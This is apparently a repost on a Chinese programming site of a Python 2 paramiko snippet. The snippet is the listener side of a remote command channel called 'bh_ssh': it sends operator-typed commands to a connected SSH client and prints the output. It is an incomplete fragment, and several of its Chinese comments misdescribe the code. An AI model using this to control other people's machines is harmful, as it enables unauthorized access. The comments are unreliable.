首页 > 编程语言 > 详细

python

时间:2016-06-17 00:54:59      阅读:181      评论:0      收藏:0      [点我收藏+]
try:# 大的 尝试
    bhSession = paramiko.Transport(client)#ssh 连接 方式
    bhSession.add_server_key(host_key)#添加  服务器 的连接密钥
    server = Server()# 启动 服务器 class 开始
    try:# 尝试
        bhSession.start_server(server=server)# 开启服务
    except paramiko.SSHException,x:#报错信息了
        print ‘[-] SSH negotiation failed.‘# 直接输出
    chan = bhSession.accept(20)# 监听
    print ‘[+] Authentiacated!‘#权限 认证
    print chan.recv(1024)# 获取信息
    chan.send(‘Welcome to bh_ssh‘)#发送信息
    while True:# 循环等待
        try:# 尝试
            command = raw_input("Enter command:").strip(‘\n‘)#对输入的信息,然后 进行 转码
            if command != ‘exit‘:#如果命令 为 空
                chan.send(command)# 发送命令 过去
                print chan.recv(1024)+‘\n‘# 然后等待 接收
            else:
                chan.send("exit")# 否则 发送 报错信息
                print ‘exiting‘#打印 错误信息
                bhSession.close()# 结束
                raise Exception (‘exit‘)
        except KeyboardInterrupt:# 异常报错
            bhSession.close()#结束了
except Exception,e: # 大的错误
    print ‘[-] Caught exception:‘+str(e)# 提示错误信息
    try:# 关闭 连接
        bhSession.close()
    except:# 如果关闭不了了,那就关闭了
        pass
    sys.exit(1)# 系统 报错结束


本文出自 “专注php” 博客,请务必保留此出处http://jingshanls.blog.51cto.com/3357095/1790076

python

原文:http://jingshanls.blog.51cto.com/3357095/1790076

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!